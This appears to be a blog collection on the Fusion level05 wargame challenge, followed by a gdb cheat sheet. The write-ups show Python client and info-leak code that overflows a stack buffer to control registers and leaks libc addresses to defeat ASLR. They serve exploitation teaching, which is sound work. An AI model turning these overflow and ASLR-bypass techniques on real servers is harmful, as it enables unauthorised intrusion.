Fusion 5 Part 2

A short recap

We are working on a server with ASLR and PIE. The server do not fork for every new connection, Our solution must be reliable and cannot crash the server.  Last time We wrote a client for this server, found 2 buffer overflows, one of them was actually usable. We control the values of ebp, esi, edi and eip. And of course we control the stack.

Our Plan:

  1. Find a buffer overflow
  2. Find a memory read primitive
  3. Find a memory write primitive
  4. Find libc
  5. Find a stack/heap buffer we control

Lets look at that buffer overflow again, I want to see what we are overflowing with our overflow. So I place a breakpoint on get_and_hash and print the saved registers we overflow.

Breakpoint 2, get_and_hash (maxsz=0, string=0xb7805380 "\203\354\034\213D$ \213\220\224\003", 
 separator=-1217833557) at level05/level05.c:115
115 level05/level05.c: No such file or directory.
 in level05/level05.c
1: x/5i $eip
=> 0xb7803720 <get_and_hash>: push ebp
 0xb7803721 <get_and_hash+1>: xor eax,eax
 0xb7803723 <get_and_hash+3>: push edi
 0xb7803724 <get_and_hash+4>: push esi
 0xb7803725 <get_and_hash+5>: sub esp,0x2c
(gdb) x/s $ebp
0xb78037c0 <checkname>: "\203\354\034\211t$\024\213t$ \211\\$\020\350\223\364\377\377\201\303H9"
(gdb) x/s $esi
0xb8a0c850: "\004"
(gdb) x/s $edi
0xb8a0c860: 'a' <repeats 50 times>

hmm, $edi point to our buffer (The name we use for checkname). Lets look on the function checkname that calls get_and_hash

Can you explain what $edi is used for?

Edi contains the address of our buffer as we have seen, and it is passed as a parameter to the function get_and_hash on the stack. It is also used as the parameter for the %s in the call to the function fdprintf. The compiler assumes the value of $edi is not changed by the function get_and_hash. And that it can assume that the same value in $edi at the beginning of the function get_and_hash will stay there at the end of it. It assumes it because of something called a “calling convention” basically it is convention on what what register a called function may change, what registers it may not change and where do you pass the function arguments and return value from the function.

Because $edi is a callee saved register, the calle function (get_and_hash) had to save it on the stack and pop it back out before returning to the caller function. Because it was on the stack we could change its value.

The fact that we can control the value of $edi, means that we can read any address we want in the memory space. As long as we know that the address is mapped and that our program will not crash on reading it 🙂 I will call it memory read primitive 🙂

What’s next?

It is import to know that right now this read primitive is useless. As long as we don’t know what we would like to read. If we try to read an unmapped address The server will crash.

I gave it hard and long thought for a few days, and I figure out that as long as ASLR and PIE are active, I can’t do anything much. I think about trying a partial overflow of return address (only changing the lower byte of the return address), It is possible. And it will allow me to return into any address withing the 256 bytes range of the original return address of this function. I couldn’t find any useful address in this range. I could overflow 2 lower bytes of the return address which would allow me 256^2 possible return address to search for. But, ASLR and PIE both works in a resolution of a memory page. (In This platform the size of a memory page is 0x1000 bytes. In newer Iphones for example it’s 0x4000 bytes). Anyway, I can’t overflow 1.5 bytes and when I overflow 2 bytes I might hit an unmapped address and cause a crash.

I keep thinking about it for a few more days, And couldn’t find any new directions to look at. I try to play with the client a little bit and then

An unexpected breakthrough

After sending this command:

print send_checkname_command(s, "a" * 10)

I get this output:

$ python fusion5.py 
** welcome to level05 **
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is not indexed already

Something is off here. I can swear that there are more than 10 a’s in the output. I try it with 10 b’s and I get:

bbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaa is not indexed already

It takes me some time and some more playing with the program but I conclude that one of the buffers that the program is using is not being zeroed before usages. I use my gdb powerz, and figure out that inside the function childtask the buffer “char buffer[512]” is not being zeroed before usage , and we might be able to read whatever garbage is on the stack immediately after the name we input (Until we encounter a ‘\0’). This is where I start a few long days of trying to figure out what is on this stack and where. If we can cause this bug to output any useful address, this kind of bug is called an info-leak

Triggering the info-leak

The first thing I do is connect with a debugger and try to figure out if there is anything useful on the stack when this function is being called.

1: x/2i $eip
=> 0xb77ade4e <childtask+478>: call 0xb77ad7f0 <__strdup@plt>
 0xb77ade53 <childtask+483>: mov DWORD PTR [esi+0x4],eax

(gdb) x/32bx *(int*) $esp
0xb7bb75ca: 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62
0xb7bb75d2: 0x62 0x62 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75da: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75e2: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

We don’t see anything useful after our 10 b’s. (0x62 is ‘b’)

My next thought is that maybe after I will use the program with some other features of the server, this stack buffer are will be filled and then I will be able to access some data on it. (Impossible if you think about it, the “char buffer[512]” from the function childtask can not be affected by function that childtask is calling. ) The only hope is that It can be affected by something that happens before the function childtask is started.

We need to think of some kind of weird behavior that can cause us to get a different stack (or the same Stack after it has been filled with data). I guess the most obvious idea is to try to keep a few connections working in the same time.  Unfortunately this server will not handle our second request while the first task is waiting for input. And this is exactly the difference between tasks and threads. We don’t have a scheduler to simulate execution of both tasks in the same time. The second task will not run until the “main” (= childtask) of the returns.

I write the following functions:

def try_to_leak_data(length): 
  s = setup_session() 
  data = send_checkname_command(s, "A" * length) 
  data = data[length:] 
  data = data[:-len(" is not indexed already.")] 
  return data 
def search_for_data_leak(length, retries): 
  leaked_data = None 
  for i in range(retries): 
    data = try_to_leak_data(length) 
    if len(data) &gt;= 4: 
      print i, data.encode("hex") 
      leaked_data = data[:4] 
  return leaked_data 
def main(): 
  print hex(buffer_to_address(search_for_data_leak(10,100))) 

I run it a few times. Sometimes it works giving me an output like this:

$ python ./fusion5.py 
15 38747eb723

Notice that 15 is the number of iterations needed to get this data (out of maximum 100 tries). After it worked once. the second time I run it I get the same output but in iteration number 0. And after I kill the server and restart it sometimes I can’t leak any info from it.

anyway let’s explore this address I can sometimes leak from the server:

(gdb) x/1wx 0xb77e7438
0xb77e7438 <main_arena+56>: 0xb93b9598

With “info proc map”, in gdb I confirm that this address is in libc!

After some more restarting the server and running my script I find out that I can get this address in libc about 1/3 of the times

Finding libc

Of course 1/3 of the times is not good enough. I keep trying different lengths for the buffer I send (Essentially searching on the stack in different offsets) . And after some more trial and error I find out that if I will try to length 2, 6, 10 I will always get an address by doing it.

The thing is, I get different addresses every time I restart the server. (And cause ASLR to randomize the address space). Remember how I said ASLR only works at the resolution of a memory page? I wasn’t kidding about it 🙂 Anyway, I figured out that every time I get an address that ends with 0x438, I can subtract 0x179438. and get the load address of libc. In the same way I mapped about 10 different offsets withing pages of address I got while running and restating the server. For each of these I mapped the right offset of it from libc. It is worth mentioning that some of the time I got an offset inside ld. It took me a lot of trials of exploiting the bug with the address of libc until I tested it and saw that libc is in a constants offset from ld (At least in the target VM). I ended with this function:

  0x6ec: 0x96ec + 0x189000, 
  0x13d: 0x913d + 0x189000, 
  0xff4: 0x1eff4 + 0x189000, 
  0xbc8: 0x187bc8, 
  0x8d8: 0x1878d8, 
  0xf30: 0xcf30, 
  0x430: 0x179430, 
  0x438: 0x179438, 
def find_libc(): 
  libc_addr = None 
  for l in [2, 6, 10]: 
    print l 
    data = search_for_data_leak(l, 10) 
    if (data is not None) and data != "AAAA": 
      addr = struct.unpack("I", data)[0] 
      print l, hex(addr) 
      lsb = addr &amp; 0xFFF 
      if lsb in POSSIBLE_LEAKS_DICT: 
        libc_addr = addr - POSSIBLE_LEAKS_DICT[lsb] 
  return libc_addr 

This function seems to find libc on every try. And it seems like a good place to stop. So to recap, we found an absolute memory read, and we found libc. Next time we will see how we can exploit these bugs. See you next time 🙂

Fusion 5

Good day guys, Today we will work on Fusion 5. As far as I know, the only other solution for it online was done by my friend Ariel Koren in his blog. Ariel and myself have worked on it in the same time, and what is so cool in this field is that our solutions are completely different from one another. After you are done with reading my solution, go check out his solution to see different way to solve the same problems 🙂

The challenge ahead

Beautiful picture to get you to keep reading

As with the previews levels of this Fusion series, again we are faced with a server that receives connections, and again we need to find and exploit a few bugs in order to get a working Remote-Code-Execution (RCE). Again we face Position Independent Executable (PIE), Address Space Layout Randomization (ASLR), none-executable-stack and heap, and source fortification.

After reading the source, we know that we are dealing with a server that has 5 commands, we will have to find a bug in at least one of them in order to get our RCE. The commands are:

addreg - Registers a server in the db
senddb - Sends the db to a chosen host and port
checkname - recives a server name and tells if it is indexed in the db
quit - Ends the session of our connection
isup - Tries to connect to all of the hosts in the db
       sends each of them its db entry.

Each of those commands is executable by a “task” we know that because we see reference to the function “taskcreate” in the source. This is really bad news, for anyone who doesn’t know what is a task. I can tell that the definition is kinda fuzzy but usually when someone talks about tasks they mean user-mode-thread. If it is the case in here, we should know that:

  1. Every task has its own stack.
  2. All of the tasks share the same address space.
  3. If we crash one task the whole program will crash.

If we are right about how the program works with tasks, After we will find a buffer overflow and crash the program, Our work will be 100 times harder than in the previews challenges in this series. Spoiler-alert, the internet is filled with solutions to Fusion:0, 1 ,2 ,3 ,4.  Not for Fusion 5. But we are getting ahead of our selves.

Writing a working client

I write my client which is quit simple, I pulled my hair about why I don’t get response from this line:

printf("registration added successfully");

I connected with a debugger and made sure my input for addreg is working, and the printf is being called (It is optimized into puts). and then I saw

Which teaches us that we are not getting the output of stdout. That makes sense because the server supports multiple clients on the same process. And file descriptors are unique per process.

#! /usr/bin/env python
import socket
import time

PORT = 20005

def setup_session(source_port = None):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  return s

def send_command(s, command, wait_for_output):
  command += "\n"
  s.send(command, len(command))
  if wait_for_output:
    return s.recv(100)

def send_checkname_command(s, text, read_output = True):
  return send_command(s, "checkname " + text, read_output)

def send_addreg_command(s, text, read_output = True):
  return send_command(s, "addreg " + text, read_output)

def main():
  s = setup_session()
  print send_checkname_command(s, "Name")
  send_addreg_command(s, "Name 0", False)

I run this client and get this output:

$ python fusion5.py 
** welcome to level05 **
Name is not indexed already


It is kind of working and I move on to search for the buffer overflow.

The Buffer overflow

After carefully reading the source I noticed he function senddb. The passes over all of the lines in the database (actually array of struct registrations) copies all of the non-empty entries in this array to a buffer and sends the buffer to a given server. What was weird in my eyes is that the buffer is in the size of 512 bytes, while every entry in the array is 6 bytes.  512 is not divisible by 6 (because it is not divisible by 3). which means something here is fishy. multiplying the size of the database (128) by the size of each entry(6) gives us 768 bytes. which means that we can overflow our buffer by 256 bytes. This should be pretty good. now let’s see how can we control the data in this array.

In order to add an entry into the array, we need to use the addreg command. This command receives a host name, ip and flags (short number), and adds this name into the database with its flags, the index in the database that would be used for this entry is a hash that is calculated on the host name. After thinking about it, we can “break” the hash by implementing the hash function in python, and finding a suitable name for every entry in the hash table (Simply by brute-forcing names.)

I did it, and now I can make sure the database struct is full with whatever I want in every index. This way I can control the data that I overwrite the struct with and I even managed to crash the program.

But, considering it more carefully, I can’t really write what every I want into this struct (and later the stack overflow) because of those 2 line inside addreg function:

it means that if the flags part of the entry can not have any bit that are not in 0x00e0 on. At first I thought I can maybe work out something with it, but it really complicates my work. basically it means I really control only 4 out of every 6 bytes of the overflow. After I banged my head against the wall trying to think of how do I continue from here.

On one hand, the previous levels all had some kind of pseudo-cryptographoic challenge. So it makes sense that I need to use this trick with the hash table. On the other hand, we don’t have the address of the main binary, we don’t have the address of libc- or any other lib for that matter. We don’t have the stack address, and we can’t brute-force address because the program will crash and that’s it.

Fuck it, We need another buffer overflow

We go back to the source code, and we try to find another buffer overflow. We find out that the function get_and_hash receives a buffer, max_size for that buffer and a separator. it copies the buffer into a local stack buffer until reaching the separator, but without considering max_size. Well max_size is only tested to make sure its not bigger than the length of the local buffer. The input buffer is not validated against max_size. As if the function assumes that no one will pass a buffer longer than max_size. Guess who passed a buffer longer than max size? That’s right, I did 🙂

This function is called from the command checkname on the name to be checked and returns a hash for this name. Unless of course we overflow it. I call this function from the main in my client while being connected with the debugger:

  print send_checkname_command(s, "a" * 50)

Meanwhile in gdb:

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
1: x/5i $eip
Disabling display 1 to avoid infinite recursion.
=> 0x61616161: Cannot access memory at address 0x61616161
(gdb) i r
eax 0x11 17
ecx 0x61 97
edx 0x2c50 11344
ebx 0xb783811c -1216118500
esp 0xb8d38c10 0xb8d38c10
ebp 0x61616161 0x61616161
esi 0x61616161 1633771873
edi 0x61616161 1633771873
eip 0x61616161 0x61616161
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

We have a buffer overflow and we control most of the registers. Want to know how do we exploit it? Want to know how do we overcome ASLR? Read the next post in this series 🙂

Ultimate gdb cheat sheet

Hello boys and girls, today I will be sharing with you my cheat sheet for gdb. Hope that you will find it useful 🙂

First thing that you need to know about gdb commands is that for every word you would like to write in gdb terminal, you can type just the first few letters of it as long as it is the only word that starts like that. Use tab a lot for auto complete and always expend your cheat sheet.

Starting a debug session

start a new process (paused) with gdb attached
gdb ./binary_name
(inside gdb terminal) r/run will start the process.
attach to a by PID get debug symbols from bin_path(optional)
gdb -p <PID> <bin_path> 
will run the commands in gdbinit as gdb commands. similar to .bashrc but for gdb.
gdb -x gdbinit

basic commands

s - step (step into instruction)
si - step instruction
n - next line (step over instruction)
ni - next instruction
c - continue running the program 

p - print a variable or a register. 
    Use the same formatting as x command

i r l - info register list (prints list of registers)
i proc maps - prints a list of loaded binaries and their load addresses
info register eax - print eax

u - run until the line is greather the current line.
    good for exiting loops

fin/finish - run until a return from this function.

 Break Points

b * 0x1337 - break at an address.
b * function_name - break at function_name
b file_name:line - break at a cretine line in a file.
del break point number
del - deletes all breakpoints
i b - info breakpoint. list of breakpoints

Examining memory (de-referencing pointers)

x - print memory
x/w - print as a word (4 bytes)
x/d - print intiger
x/x - print as hex
x/i - print as instruction 
x/s - print as string
x/c - print as char
x/10s - print 10 strings

for example:
x/10s $eax - will print $eax as an array of 10 strings
x/10wx $eax - will print $eax as an array of 10 hex-words

for double deference we use casting
x/x * (int*) $eax - prints $eax as a pointer to pointer to int.


x/10i address - disassemble 10 instructions starting from address.
diss - disassmble current function.

 The gdbinit file

After forks, the debugger will stay with the child process and not the parent.

set follow-fork-mode child
Show Assembly in inel flavor (like you would expect after working with ida)
set disassembly-flavor intel
Show the 5 next opcodes every time the debugger stops.
display/5i $pc

Advanced shit

connects to a running process by name. run the commands in ./gdbinit. Usually I have a bash script (connect.sh) with this long line for each research project I am working on.

set -- `ps -ef | grep binary_name | grep -v defunct | head -n 1`;  gdb -x ./gdbinit --pid $2

Search for a  value in a memory range

find/<size> start_address + len, value

Add a watchpoint for an expression (program will stop every time expression changes.)

watch <expression>